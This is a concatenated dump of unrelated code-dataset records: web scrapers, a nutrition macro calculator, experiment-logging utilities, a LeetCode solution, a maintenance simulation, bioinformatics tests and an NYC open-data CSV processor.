['main']","sub_path":"django_saltstack/main/migrations/0003_auto__del_field_saltcommand_created__del_field_saltcommand_modified__a.py","file_name":"0003_auto__del_field_saltcommand_created__del_field_saltcommand_modified__a.py","file_ext":"py","file_size_in_byte":2765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"350967204","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom scrapy.http import Request,FormRequest\n\nclass LoginSpider(scrapy.Spider):\n name = 'Login'\n allowed_domains = ['example.webscraping.com']\n start_urls = ['http://example.webscraping.com/places/default/user/profile?_next=/places/default/edit/China-47']\n\n def parse(self, response):\n keys = response.xpath('//*[@id=\"web2py_user_form\"]/form/table//label').xpath('./text()').re(\"(.+): \")\n values = response.xpath('//*[@id=\"web2py_user_form\"]/form/table//td[@class=\"w2p_fw\"]/text()').extract()\n yield dict(zip(keys, values))\n\n def start_requests(self):\n login_url = 'http://example.webscraping.com/places/default/user/login?_next=/places/default/edit/China-47'\n yield Request(login_url, callback=self.login)\n\n def login(self, response):\n sel = response.xpath('//*[@id=\"web2py_user_form\"]/form/div/input')\n fd = dict(zip(sel.xpath('./@name').extract(), sel.xpath('./@value').extract()))\n fd['email'] = '136219065@qq.com'\n fd['password'] = '123456'\n request = FormRequest('http://example.webscraping.com/places/default/user/login?_next=/places/default/edit/China-47', formdata=fd, callback=self.parse_login)\n yield request\n\n def parse_login(self, response):\n if 'Welcome ' in response.text:\n yield from super().start_requests()\n\n\n\n","sub_path":"scrapy/login/login/spiders/Login.py","file_name":"Login.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"281100174","text":"import pandas as pd\nexcel_data = pd.read_csv(\"my_excel_data.csv\")\n\ndef get_macros(food):\n macros = []\n macros.extend(excel_data[excel_data.name == food].calories)\n macros.extend(excel_data[excel_data.name == food].fat)\n macros.extend(excel_data[excel_data.name == food].protein)\n macros.extend(excel_data[excel_data.name == food].carb)\n macros.extend(excel_data[excel_data.name == food].fiber)\n macros.extend(excel_data[excel_data.name == food].serving)\n return macros\n\n\ntotals = {\n 'calories': 0,\n 'protein': 0,\n 'fat': 0,\n 'carbs': 0,\n 'fiber': 0,\n 'net_carbs': 0\n}\n\ndef add_food(food, grams):\n totals['calories'] += get_macros(food)[0] * grams / get_macros(food)[5]\n totals['fat'] += get_macros(food)[1] * grams / get_macros(food)[5]\n totals['protein'] += get_macros(food)[2] * grams / get_macros(food)[5]\n totals['carbs'] += get_macros(food)[3] * grams / get_macros(food)[5]\n totals['fiber'] += get_macros(food)[4] * grams / get_macros(food)[5]\n totals['net_carbs'] += (get_macros(food)[3] * grams / get_macros(food)[5]) - (get_macros(food)[4] * grams / get_macros(food)[5])\n if totals['net_carbs'] >= 20.0:\n print (\"You're over your carb limit!!!\")\n else:\n print ('You have {} net carbs left.'.format(20 - totals['net_carbs']))\n return totals\n\n\ndef clear_totals():\n for key in totals:\n totals[key] = 0\n return totals\n\n\ndef calculate_macro_percentages():\n calories = totals['protein']*4 + totals['fat']*9 + totals['net_carbs']*4\n protein_percent = str((totals['protein'] * 4 / calories)*100) + '%'\n fat_percent = str((totals['fat'] * 9 / calories)*100) + '%'\n carb_percent = str((totals['net_carbs'] * 4 / calories)*100) + '%'\n percentages = {\n 'Fat': fat_percent,\n 'Protein': protein_percent,\n 'Carbs': carb_percent,\n 'Net_Carbs': totals['net_carbs']}\n return percentages\n\n\ndef pie_chart_data():\n calories = totals['protein']*4 + totals['fat']*9 + totals['net_carbs']*4 + 1\n protein_percent = totals['protein'] * 4 / calories\n fat_percent = totals['fat'] * 9 / calories\n carb_percent = totals['net_carbs'] * 4 / calories\n percentages = {\n 'Fat': fat_percent,\n 'Protein': protein_percent,\n 'Carb': carb_percent}\n return percentages\n\n\nimport matplotlib.pyplot as plt\nfrom collections import Counter\n\n# Data to plot\nlabels = list(Counter(pie_chart_data()))\nsizes = list(Counter(pie_chart_data()).values())\ncolors = ['lightblue', 'lightcoral', 'yellowgreen']\nexplode = (.1, .1, .1)\n\n# Plot\nplt.pie(sizes, explode=explode, labels=labels, colors=colors,\n autopct='%1.1f%%', shadow=True, startangle=140)\n\nplt.axis('equal')\nplt.show()\n","sub_path":"food_functions.py","file_name":"food_functions.py","file_ext":"py","file_size_in_byte":2720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"372438522","text":"# 不推荐,对象名.类名属性可能已发的问题\n\nclass Tool(object):\n # 定义类属性,记录工具的类型\n cout = 0\n def __init__(self, name):\n self.name = name\n #类的属性+1,注意哈这里不能用self\n Tool.cout += 1\n\ntooll = Tool(\"斧头\")\ntooll1 = Tool(\"榔头\")\ntooll2 = Tool(\"水桶\")\ntooll3 = Tool(\"螺丝刀\")\n\n\ntooll3.cout = 99\nprint(tooll3.cout)\n# 这个陷阱在这里,python赋值意思就是,先找,找不到就是创建一个并且赋值\nprint('====> %d' % Tool.cout)","sub_path":"05类的属性,方法还有静态方法/hm_陷阱.py","file_name":"hm_陷阱.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"383991823","text":"\"\"\"Record class.\"\"\"\nfrom __future__ import annotations\n\nimport collections\nimport shutil\nfrom collections import OrderedDict, UserList\nfrom subprocess import CalledProcessError # noqa: S404\nfrom typing import Any, Callable\n\nimport pymongo\nimport ray\nfrom bson.objectid import ObjectId\nfrom omegaconf import DictConfig, OmegaConf\n\nfrom xplogger.experiment_manager.record import base as base_record\nfrom xplogger.experiment_manager.record import omegaconf as oc_utils\nfrom xplogger.experiment_manager.record.mongo import Record as MongoRecord\nfrom xplogger.experiment_manager.slurm.utils import map_jobid_to_raw_job_id\nfrom xplogger.parser.experiment.experiment import (\n Experiment,\n ExperimentSequence,\n ExperimentSequenceDict,\n)\nfrom xplogger.types import ValueType\n\nLoadExperientFromDirType = Callable[[str], Experiment]\n\n\nclass RecordList(UserList): # type: ignore\n def __init__(self, records: list[base_record.Record]):\n \"\"\"Dict-like interface to a collection of results.\"\"\"\n super().__init__(records)\n\n def update_status(\n self,\n collection: pymongo.collection.Collection, # type: ignore\n new_status: str,\n ) -> None:\n \"\"\"Update the status of the records(in the db).\n\n Args:\n collection (pymongo.collection.Collection):\n\n \"\"\"\n if isinstance(self.data[0], DictConfig):\n\n def process_record(record: base_record.Record) -> dict: # type: ignore\n # error: Returning Any from function declared to return \"Dict[Any, Any]\"\n data = OmegaConf.to_container(record)\n assert isinstance(data, dict)\n return data\n\n else:\n\n def process_record(record: base_record.Record) -> base_record.Record: # type: ignore\n # error: All conditional function variants must have identical signatures\n return record\n\n for data_record in self.data:\n record = process_record(data_record)\n issue_id = record[\"setup\"][\"git\"][\"issue_id\"]\n print(issue_id)\n record[\"status\"] = new_status\n key = \"_id\"\n if key in record:\n _id = ObjectId(record.pop(\"_id\"))\n else:\n key = \"id\"\n _id = ObjectId(record.pop(key))\n print(collection.replace_one({\"_id\": _id}, record).raw_result)\n\n def mark_analyzed(self, collection: pymongo.collection.Collection) -> None: # type: ignore\n # error: Missing type parameters for generic type \"Collection\"\n \"\"\"Mark records as analyzed (in the db).\n\n Args:\n collection (pymongo.collection.Collection):\n\n \"\"\"\n return self.update_status(collection=collection, new_status=\"ANALYZED\")\n\n def add_slurm_field(self, collection: pymongo.collection.Collection) -> None: # type: ignore\n \"\"\"Add slurm field to records (in the db).\n\n Args:\n collection (pymongo.collection.Collection):\n\n \"\"\"\n if isinstance(self.data[0], DictConfig):\n\n def process_record(record: base_record.Record) -> dict: # type: ignore\n # error: Returning Any from function declared to return \"Dict[Any, Any]\"\n data = OmegaConf.to_container(record)\n assert isinstance(data, dict)\n return data\n\n else:\n\n def process_record(record: base_record.Record) -> base_record.Record: # type: ignore\n # error: All conditional function variants must have identical signatures\n return record\n\n for data_record in self.data:\n record = process_record(data_record)\n if \"slurm\" not in record[\"setup\"]:\n try:\n record[\"setup\"][\"slurm\"] = {\n \"id\": map_jobid_to_raw_job_id(record[\"setup\"][\"slurm\"][\"id\"])\n }\n except CalledProcessError:\n # record[\"setup\"][\"slurm\"] = {\"id\": -1}\n print(record[\"setup\"][\"slurm\"][\"id\"])\n continue\n print(record[\"setup\"][\"slurm\"][\"id\"])\n _id = ObjectId(record.pop(\"_id\"))\n print(collection.replace_one({\"_id\": _id}, record).raw_result)\n\n def delete(\n self,\n collection: pymongo.collection.Collection, # type: ignore\n # error: Missing type parameters for generic type \"Collection\"\n delete_from_filesystem: bool = False,\n ) -> None:\n \"\"\"Delete jobs from the db and filesystem (optionally).\n\n Args:\n collection (pymongo.collection.Collection):\n delete_from_filesystem (bool, optional): Should delete the job\n from the filesystem. Defaults to False.\n \"\"\"\n counter = 0\n for record in self.data:\n counter += 1\n collection.delete_many({\"setup.id\": record[\"setup\"][\"id\"]})\n if delete_from_filesystem:\n try:\n file_path = record[\"logbook\"][\"logger_dir\"]\n shutil.rmtree(file_path)\n except Exception as e:\n print(f\"Failed to delete {file_path}. Reason: {e}\")\n print(counter)\n\n def get_unique_issues(self) -> collections.Counter[str]:\n \"\"\"Get unique issues from the record list.\"\"\"\n return collections.Counter(\n str(record[\"setup\"][\"git\"][\"issue_id\"]) for record in self.data\n )\n\n def get_viz_params(self) -> set[str]:\n \"\"\"Get params for vizualization.\"\"\"\n viz_params = set()\n for record in self.data:\n if record[\"setup\"][\"viz\"][\"params\"]:\n for param in record[\"setup\"][\"viz\"][\"params\"]:\n viz_params.add(param)\n return viz_params\n\n def make_oc_records(self) -> RecordList:\n \"\"\"Make OC records.\"\"\"\n record_list = []\n for record in self.data:\n assert isinstance(record, MongoRecord)\n record_list.append(oc_utils.make_record(mongo_record=record))\n\n return RecordList(record_list)\n\n def ray_make_oc_records(self) -> RecordList:\n \"\"\"Make OC records using ray.\"\"\"\n futures = [\n oc_utils.ray_make_record.remote(mongo_record=record) for record in self.data\n ]\n records = ray.get(futures)\n return RecordList(records=records)\n\n def map_to_slurm_id(self) -> dict[str, RecordList]:\n \"\"\"Map the record list to a list of slurm ids.\n\n Returns:\n dict[str, RecordList]: dictionary where the key is the slurm id\n and value is the list of records. We return a list of records\n as sometimes the records are duplicated.\n \"\"\"\n\n def _make_empty_record_list() -> RecordList:\n return RecordList([])\n\n mapping: dict[str, RecordList] = collections.defaultdict(\n _make_empty_record_list\n )\n for record in self.data:\n key = str(record[\"setup\"][\"slurm\"][\"id\"].replace(\"_\", \"-\"))\n mapping[key].append(record)\n return mapping\n\n # todo: rename this\n def get_groups_and_hyperparams(\n self, viz_params: list[str]\n ) -> tuple[dict[Any, RecordList], dict[str, set[ValueType]]]:\n \"\"\"Group experiments.\"\"\"\n groups: dict[Any, RecordList] = {}\n hyperparams: dict[str, set[Any]] = {}\n id_set = set()\n for record in self.data:\n params = base_record.get_experiment_params(record, viz_params)\n for param_name, value in params.items():\n if param_name not in hyperparams:\n hyperparams[param_name] = set()\n if isinstance(value, list):\n hyperparams[param_name].add(tuple(value))\n else:\n hyperparams[param_name].add(value)\n key = OmegaConf.create(params)\n if key not in groups:\n groups[key] = RecordList([])\n _id = record.id\n if _id not in id_set:\n groups[key].append(record)\n id_set.add(_id)\n\n return groups, hyperparams\n\n def load_experiments(\n self,\n load_experiment_from_dir: LoadExperientFromDirType,\n ) -> ExperimentSequence:\n \"\"\"Load experiments.\"\"\"\n experiments = [\n base_record.load_experiment(\n record=record,\n load_experiment_from_dir=load_experiment_from_dir,\n )\n for record in self.data\n ]\n exp_seq = ExperimentSequence([exp for exp in experiments if exp is not None])\n return exp_seq\n\n def make_experiment_sequence_dict_groups_and_hyperparams(\n self,\n viz_params: list[str],\n load_experiment_from_dir: LoadExperientFromDirType,\n ) -> tuple[\n ExperimentSequenceDict, dict[Any, RecordList], dict[str, set[ValueType]]\n ]:\n \"\"\"Make experiment groups.\"\"\"\n groups, hyperparams = self.get_groups_and_hyperparams(viz_params=viz_params)\n experiment_sequence_dict = ExperimentSequenceDict(\n {\n key: record_list.load_experiments(\n load_experiment_from_dir=load_experiment_from_dir\n )\n for key, record_list in groups.items()\n }\n )\n return experiment_sequence_dict, groups, hyperparams\n\n def ray_make_experiment_sequence_dict_groups_and_hyperparams(\n self,\n viz_params: list[str],\n load_experiment_from_dir: LoadExperientFromDirType,\n ) -> tuple[\n ExperimentSequenceDict, dict[Any, RecordList], dict[str, set[ValueType]]\n ]:\n \"\"\"Make experiment groups.\"\"\"\n groups, hyperparams = self.get_groups_and_hyperparams(viz_params=viz_params)\n\n groups = OrderedDict(groups)\n\n experiment_sequence_dict = ExperimentSequenceDict(\n {\n key: ray_load_experiments.remote(\n record_list=record_list,\n load_experiment_from_dir=load_experiment_from_dir,\n )\n for key, record_list in groups.items()\n }\n )\n for key in experiment_sequence_dict:\n experiment_sequence_dict[key] = ExperimentSequence(\n ray.get(experiment_sequence_dict[key])\n )\n return experiment_sequence_dict, groups, hyperparams\n\n def get_unique(self, key_func: Callable[[base_record.Record], str]) -> RecordList:\n \"\"\"Get unique records from the current record list.\n\n Args:\n key_func (Callable[[base_record.Record], str]): This function\n computes the key (or hash) unsed to identify a record.\n\n Returns:\n RecordList: List of unique records.\n \"\"\"\n seen_keys = set()\n unique_records = []\n for record in self.data:\n key = key_func(record)\n if key not in seen_keys:\n seen_keys.add(key)\n unique_records.append(record)\n return RecordList(unique_records)\n\n\n@ray.remote # type: ignore\n# Untyped decorator makes function \"ray_load_experiments\" untyped\ndef ray_load_experiments(\n record_list: RecordList,\n load_experiment_from_dir: LoadExperientFromDirType,\n) -> Any:\n \"\"\"Load experiments.\"\"\"\n futures = [\n base_record.ray_load_experiment.remote(\n record=record,\n load_experiment_from_dir=load_experiment_from_dir,\n )\n for record in record_list.data\n ]\n\n return ray.get(futures)\n","sub_path":"xplogger/experiment_manager/record/record_list.py","file_name":"record_list.py","file_ext":"py","file_size_in_byte":11568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"243666872","text":"'''\n513. Find Bottom Left Tree Value\nDescription Submission Solutions Add to List\nTotal Accepted: 2100\nTotal Submissions: 4185\nDifficulty: Medium\nContributors: abhijeet17\nGiven a binary tree, find the leftmost value in the last row of the tree.\n\nExample 1:\nInput:\n\n 2\n / \\\n 1 3\n\nOutput:\n1\nExample 2: \nInput:\n\n 1\n / \\\n 2 3\n / / \\\n 4 5 6\n /\n 7\n\nOutput:\n7\n'''\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def findBottomLeftValue(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n maxlst = [root.val]\n self.nodedepth(root, 0, maxlst)\n return maxlst[-1]\n def nodedepth(self, node, depth, maxlst):\n if not node.left and not node.right:\n return\n elif not node.left:\n if len(maxlst) < depth+2:\n maxlst.append(node.right.val)\n self.nodedepth(node.right, depth+1, maxlst)\n elif not node.right:\n if len(maxlst) < depth+2:\n maxlst.append(node.left.val)\n self.nodedepth(node.left, depth+1, maxlst)\n else:\n if len(maxlst) < depth+2:\n maxlst.append(node.left.val)\n self.nodedepth(node.left, depth+1, maxlst)\n self.nodedepth(node.right, depth+1, maxlst)","sub_path":"en/find-bottom-left-tree-value.py","file_name":"find-bottom-left-tree-value.py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"331338907","text":"import collections\nimport re\nimport jieba\n\ndef stats_text_cn(w):\n if type(w) != str:\n raise ValueError('Oops! That was not a string type. Try again...')\n cn = re.findall(r'[\\u4e00-\\u9fa5]', w)\n cn_join = ''.join(cn)\n seg_cn = jieba.cut(cn_join)\n seg_words = []\n for element in seg_cn:\n if len(element) > 1:\n seg_words.append(element)\n count = 20\n cn_count = collections.Counter(seg_words).most_common(count)\n return cn_count\n\ndef stats_text_en(w):\n if type(w) != w:\n raise ValueError('Oops! That was not a string type. Try again...')\n en = re.findall(r'[a-zA-Z\\s]', w)\n en = ''.join(en)\n en = en.split()\n count = 200\n en_count = collections.Counter(en).most_common(count)\n return en_count\n\ndef stats_text(w):\n text_count = stats_text_cn+stats_text_en\n return text_count\n","sub_path":"exercises/1901100025/d10/mymodule/stats_word.py","file_name":"stats_word.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"521096486","text":"import copy\n\nimport mcts\nimport numpy as np\n\n\nclass Repairman:\n def __init__(self, env, system, capacity, scheduling_policy):\n self.env = env\n self.system = system\n \n self.capacity = capacity\n self.utilization = 0\n\n self.scheduling_policy = scheduling_policy \n\n # queue data in the form of [time, queue level]\n self.queue_data = np.zeros((0, 2))\n\n \n def get_queue(self):\n queue = []\n #print(f't={self.env.now}')\n for machine in self.system.machines:\n #print(f'M{machine.index}', machine.__dict__, '\\n\\n')\n if (\n (machine.in_queue) \n and (machine.health > 0)\n #or ((not machine.under_repair) and (machine.get_health(self.env.now) >= machine.maintenance_threshold))\n # TODO: fix this behavior\n # currently machine health data is updated before it is placed \n # in the queue, so if it fails at the same time as MCTS is \n # formulated it will not be considered in the schedule, but will\n # still fail\n ):\n queue.append(machine)\n\n return queue\n \n\n def schedule_maintenance(self):\n queue = self.get_queue()\n\n if self.system.debug:\n if self.system.mcts_system:\n print('MCTS: ', end='')\n print(f'Queue at t={self.env.now}: {[(machine.index, machine.get_health(self.env.now)) for machine in queue]}')\n \n if (len(queue) == 0) or (self.utilization == self.capacity):\n self.update_queue_data()\n return\n elif len(queue) == 1:\n if self.system.debug:\n if self.system.mcts_system:\n print('MCTS: ', end='')\n print(f'Queue length 1, repairman starting maintenance on M{queue[0].index} at t={self.env.now}')\n #self.utilization += 1\n next_machine = queue[0]\n #self.env.process(queue[0].repair())\n #return\n #elif type(self.scheduling_policy) == list:\n # # schedule according to list, [first, second, third, ...]\n # if self.system.debug:\n # if self.system.mcts_system:\n # print('MCTS: ', end='')\n # print(f'Repairman\\'s current schedule: {self.scheduling_policy}')\n # for machine in queue:\n # #try: # TODO: fix this block\n # if machine.index == self.scheduling_policy[0]:\n # next_machine = machine\n # del(self.scheduling_policy[0])\n # break\n # #except:\n # # print('ERROR HERE')\n # # print(f't={self.env.now}', self.scheduling_policy, [m.index for m in queue])\n # # print([machine.allow_new_failures for machine in self.system.machines])\n # #self.env.process(next_machine.repair())\n else: # len(queue) > 1\n next_machine = self.resolve_simultaneous_repairs()\n \n self.utilization += 1\n self.env.process(next_machine.repair())\n \n\n def resolve_simultaneous_repairs(self):\n queue = self.get_queue()\n\n # FIFO policy\n next_machine = min(queue, key=lambda m: m.time_entered_queue)\n \n if self.system.debug:\n if self.system.mcts_system:\n print('MCTS: ', end='')\n print(f'Repairman selecting M{next_machine.index} for repair at t={self.env.now}')\n\n #self.utilization += 1\n #self.env.process(next_machine.repair())\n return next_machine\n\n\n def update_queue_data(self):\n queue_length = len(self.get_queue())\n self.queue_data = np.append(\n self.queue_data, [[self.env.now, queue_length]], axis=0\n )\n","sub_path":"simantha/Repairman.py","file_name":"Repairman.py","file_ext":"py","file_size_in_byte":3849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"364465268","text":"import urllib.request\nimport urllib.error\nimport os\nfrom bs4 import BeautifulSoup\n\nclass Spider:\n mainPage = ''\n root = ''\n maxPage = ''\n tree = {}\n\n def __init__(self, mainPage, maxPage, root):\n self.mainPage = mainPage\n self.maxPage = maxPage\n self.root = root\n\n #解析html\n def __getHtmlContent(self, url):\n try:\n res = urllib.request.urlopen(url, timeout=5)\n html = res.read().decode('utf-8')\n return BeautifulSoup(html)\n except urllib.error.HTTPError:\n print('timeout')\n return ''\n except Exception:\n return ''\n\n #保存图片\n def __saveImage(self, url, path, filename):\n try:\n if not os.path.exists(path):\n os.makedirs(path)\n if os.path.exists(path+filename):\n return ''\n img = urllib.request.urlopen(url, timeout=5)\n img = img.read()\n file = open(path+filename, 'wb')\n file.write(img)\n file.close()\n return ''\n except urllib.error.HTTPError:\n print('timeout')\n return ''\n except Exception:\n print('wrong')\n return ''\n\n\n #得到一个女孩的图片地址列表\n def __getOneGirlImageUrls(self, url):\n list = []\n try:\n #得到每个人的总页数\n totalPage = self.__getHtmlContent(url).find(id = 'opic').previous_sibling.string\n for page in range(1, int(totalPage)):\n page = str(page)\n html = self.__getHtmlContent(url + '/' + page)\n res = html.find(id='content')\n src = res.a.img['src']\n list.append(src)\n except Exception:\n print('wrong')\n return list\n\n\n #得到网站图片url树形结构\n def __getNodeTree(self):\n for page in range(1, self.maxPage):\n page = str(page)\n self.tree[page] = {}\n mainHtml = self.__getHtmlContent(self.mainPage+'/'+page)\n try:\n images = mainHtml.find_all('li')\n for li in images:\n coverImg = li.a.img['src']\n coverName = li.a.img['alt']\n coverUrl = li.a['href']\n self.tree[page][coverImg] = {}\n temp = {'name':'', 'img':'', 'list':[]}\n temp['name'] = coverName\n temp['img'] = coverImg\n temp['list'] = self.__getOneGirlImageUrls(coverUrl)\n self.tree[page][coverImg] = temp\n print(temp)\n except Exception:\n print('wrong')\n print(self.tree)\n\n\n def __parserTree(self):\n for page in self.tree:\n for coverImg in self.tree[page]:\n coverImg = self.tree[page][coverImg]['img']\n coverName = self.tree[page][coverImg]['name']\n coverList = self.tree[page][coverImg]['list']\n path = self.root+'/'+str(page)+'/'+coverName+'/'\n filename = 'cover.jpg'\n self.__saveImage(coverImg, path, filename)\n print(path + filename)\n i = 1\n for list in coverList:\n filename = str(i)+'.jpg'\n self.__saveImage(list, path, filename)\n i += 1\n print(path + filename)\n\n\n def run(self):\n print('生成网站图片结构树....')\n self.__getNodeTree()\n print('网站结构树生成完毕,开始爬取图片....')\n self.__parserTree()\n print('爬取完毕!')\n\nif __name__ == \"__main__\":\n spider = Spider('http://www.mmjpg.com/home', 2, 'image')\n print('进程开始....')\n spider.run()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":3881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"619091817","text":"from resolwe.flow.models import Data\nfrom resolwe.test import tag_process\n\nfrom resolwe_bio.utils.test import BioProcessTestCase\n\n\nclass PlotsProcessorTestCase(BioProcessTestCase):\n @tag_process(\"bamplot\")\n def test_bamplot(self):\n with self.preparation_stage():\n inputs = {\n \"src\": \"bamplot_alignment.bam\",\n \"species\": \"Homo sapiens\",\n \"build\": \"hg19\",\n }\n bam = self.run_process(\"upload-bam\", inputs)\n\n inputs = {\n \"src\": \"bamplot_alignment.bam\",\n \"species\": \"Homo sapiens\",\n \"build\": \"hg19\",\n }\n bam1 = self.run_process(\"upload-bam\", inputs)\n\n bed_input = {\n \"src\": \"bamplot.bed\",\n \"species\": \"Homo sapiens\",\n \"build\": \"hg19\",\n }\n bed = self.run_process(\"upload-bed\", bed_input)\n\n inputs = {\n \"src\": \"bamplot.gff\",\n \"source\": \"NCBI\",\n \"species\": \"Homo sapiens\",\n \"build\": \"GRCh38\",\n }\n gff = self.run_process(\"upload-gtf\", inputs)\n\n inputs = {\n \"genome\": \"HG19\",\n \"input_region\": \"chr1:+:41468594-41566948\",\n \"bam\": [bam.pk, bam1.pk],\n \"color\": \"0,69,134\",\n \"names\": [\"WNT\", \"bbb\"],\n \"yscale\": \"uniform\",\n \"title\": \"SINGLE_REGION\",\n \"plot\": \"multiple\",\n \"rpm\": True,\n }\n self.run_process(\"bamplot\", inputs)\n\n inputs = {\n \"genome\": \"HG19\",\n \"input_gff\": gff.pk,\n \"bam\": [bam.pk],\n \"color\": \"255,192,0\",\n \"names\": [\"GROUP3_MB\"],\n \"yscale\": \"uniform\",\n \"title\": \"SINGLE_REGION\",\n \"plot\": \"multiple\",\n \"rpm\": True,\n \"bed\": [bed.pk],\n }\n self.run_process(\"bamplot\", inputs)\n\n for data in Data.objects.all():\n self.assertStatus(data, Data.STATUS_DONE)\n\n @tag_process(\"bamliquidator\")\n def test_bamliquidator(self):\n with self.preparation_stage():\n inputs = {\n \"src\": \"bamplot_ alignment1.bam\",\n \"species\": \"Homo sapiens\",\n \"build\": \"hg19\",\n }\n bam1 = self.run_process(\"upload-bam\", inputs)\n\n inputs = {\n \"src\": \"bamplot_alignment.bam\",\n \"species\": \"Homo sapiens\",\n \"build\": \"hg19\",\n }\n bam = self.run_process(\"upload-bam\", inputs)\n\n inputs = {\n \"src\": \"bamplot.gff\",\n \"source\": \"NCBI\",\n \"species\": \"Homo sapiens\",\n \"build\": \"GRCh38\",\n }\n gff = self.run_process(\"upload-gtf\", inputs)\n\n inputs = {\"bam\": [bam1.id, bam.id], \"cell_type\": \"MCD cell\", \"extension\": 200}\n\n bamliquidator = self.run_process(\"bamliquidator\", inputs)\n del bamliquidator.output[\"summary\"][\"total_size\"] # Non-deterministic output.\n self.assertFields(\n bamliquidator, \"summary\", {\"file\": \"output/summary.html\", \"size\": 524296}\n )\n\n inputs[\"regions_gtf\"] = gff.id\n inputs[\"analysis_type\"] = \"region\"\n self.run_process(\"bamliquidator\", inputs)\n\n for data in Data.objects.all():\n self.assertStatus(data, Data.STATUS_DONE)\n","sub_path":"resolwe_bio/tests/processes/test_plots.py","file_name":"test_plots.py","file_ext":"py","file_size_in_byte":3444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"281651620","text":"def get_parameter(name):\n while True:\n p = input(\"Enter the parameter of the equation: %s = \" % name)\n if p.replace('.', '').isdigit() and float(p) != 0:\n p = float(p)\n return p\n else:\n print(\"Please enter the number of non-zero!\")\n\nclass QadraticEquation:\n def __init__(self, a, b, c):\n self.a = a\n self.b = b\n self.c = c\n\n def get_descr(self):\n d = self.b ** 2 - 4 * self.a * self.c\n return d\n\n def res(self, d):\n self.d = d\n if d < 0:\n return(\"No results!\")\n else:\n x1 = (-self.b + self.d **(1/2.0)) / 2 * self.a\n x2 = (-self.b - self.d **(1/2.0)) / 2 * self.a\n return(\"Results: x1 = %s, x2 = %s\" % (x1, x2))\n","sub_path":"week3]/quadro/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"122030724","text":"from django.core.management.base import BaseCommand, CommandError\nfrom django.conf import settings\nimport os\nimport sys\nimport json\nimport csv\nimport re\nimport string\nfrom noise.models import Building\n\n#from noise.models import BuildingBuildingExtraInfo, HandyManWorkOrderCharges, ECBViolation, BuildingImage, DOBComplaint, Complaint, Review, ReviewImage, Building, Violation, WorkPermit, BuildingOwner\n\nimport pandas as pd\n\n\n\"\"\"\nDownloading data sets and processing CSVs from nycopendata\n\"\"\"\n\ndef process_handyman_work_order(file_name, new_file_name):\n\t\"\"\"process each row of HWO data\"\"\"\n\tcount = 0\n\twith open(settings.ALL_DATA_DIR + 'opendata/restructured_data/' + new_file_name,'w') as write_file, open(settings.ALL_DATA_DIR + 'addresses.csv', 'a') as address_write, open(settings.ALL_DATA_DIR + 'opendata/' + file_name, 'r') as f, open(settings.ALL_DATA_DIR + 'buildings_data/' + 'building_list.csv', 'a') as building_write:\n\t\twriter = csv.writer(write_file)\n\t\taddresses = csv.writer(address_write)\n\t\treader_object = csv.reader(f)\n\t\tbuilding_writer = csv.writer(building_write)\n\t\tfor row in reader_object:\n\t\t\t(HWOID, HWONumber, building_id, boro_id, boro, house_number, streetname, zipcode, block, lot, lifecycle, worktypegeneral, hwo_status_reason, hwo_create_date, is_aep, is_commercial_demolition, fema_event_id, fema_event, hwo_description, hwo_approved_amount, sales_tax, admin_fee, charge_amount, date_transfer_dof) = row\n\t\t\tbuilding_id = str(row[2]).strip()\n\t\t\tboro = str(row[3]).strip()\n\t\t\tblock = str(row[8]).strip()\n\t\t\tlot = str(row[9]).strip()\n\t\t\tborough = str(row[4]).strip()\n\t\t\thouse_number = str(row[5]).strip()\n\t\t\tstreetname = str(row[6]).strip()\n\t\t\tzip_code = str(row[7]).strip()\n\t\t\tblock = str(row[8]).strip()\n\t\t\tlot = str(row[9]).strip()\n\t\t\twork_type_general = str(row[11]).strip()\n\t\t\t#put this address in a csv to geocode\n\t\t\taddress = house_number + \" \" + streetname + \" \" + borough + \", \" + \"NY\" + \" \" + zip_code\n\t\t\taddress_list = (house_number, streetname, boro, zip_code)\n\t\t\t#address_row = (building_id, address)\n\t\t\taddresses.writerow(address_list)\n\t\t\thwo_number = str(row[1]).strip()\n\t\t\thwo_create_date = str(row[13]).strip()\n\t\t\tmonth = hwo_create_date[:2]\n\t\t\tday = hwo_create_date[3:5]\n\t\t\tyear = hwo_create_date[6:10]\n\t\t\thwo_description = str(row[18]).strip()\n\t\t\tcommunity_board='NA'\n\t\t\tnew_row = (hwo_create_date, building_id, borough, house_number, streetname, zip_code, boro+block+lot, work_type_general, hwo_number, year, month, hwo_description)\n\t\t\twriter.writerow(new_row)\n\treturn settings.ALL_DATA_DIR + 'opendata/restructured_data/%s' % new_file_name\n\n\ndef process_ecb_violations(file_name, new_file_name):\n\tcount = 0\n\twith open(settings.ALL_DATA_DIR + 'opendata/restructured_data/' + new_file_name,'w') as write_file, open(settings.ALL_DATA_DIR + 'addresses.csv', 'a') as address_write, open(settings.ALL_DATA_DIR + 'respondents.csv', 'a') as landlord_write, open(settings.ALL_DATA_DIR + 'opendata/' + file_name, 'r') as 